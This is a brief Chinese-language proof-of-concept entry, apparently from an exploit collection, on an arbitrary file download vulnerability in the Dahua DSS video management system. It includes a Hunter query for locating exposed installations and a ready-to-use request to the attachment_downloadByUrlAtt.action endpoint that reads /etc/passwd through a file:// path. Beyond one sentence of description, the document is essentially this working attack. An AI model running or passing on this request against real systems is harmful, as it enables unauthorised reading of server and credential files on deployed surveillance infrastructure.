POC/wpoc/大华/大华DSS视频管理系统/大华DSS视频管理系统attachment_downloadByUrlAtt.action任意文件下载漏洞.md

大华 DSS 视频管理系统 attachment_downloadByUrlAtt.action 任意文件下载漏洞

一、漏洞简介

大华 DSS 视频管理系统存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器上的任意文件

二、影响版本

• 大华 DSS 视频管理系统

三、资产测绘

• hunter：app.name=="Dahua 大华 DSS 视频管理系统"

• 登录页面

四、漏洞复现

/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd

更新: 2024-02-29 23:57:19
原文: https://www.yuque.com/xiaokp7/ocvun2/mb3iwwsxiz2bvrek